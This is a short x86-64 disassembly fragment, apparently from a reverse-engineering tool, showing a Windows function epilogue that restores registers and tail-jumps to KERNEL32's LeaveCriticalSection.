add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]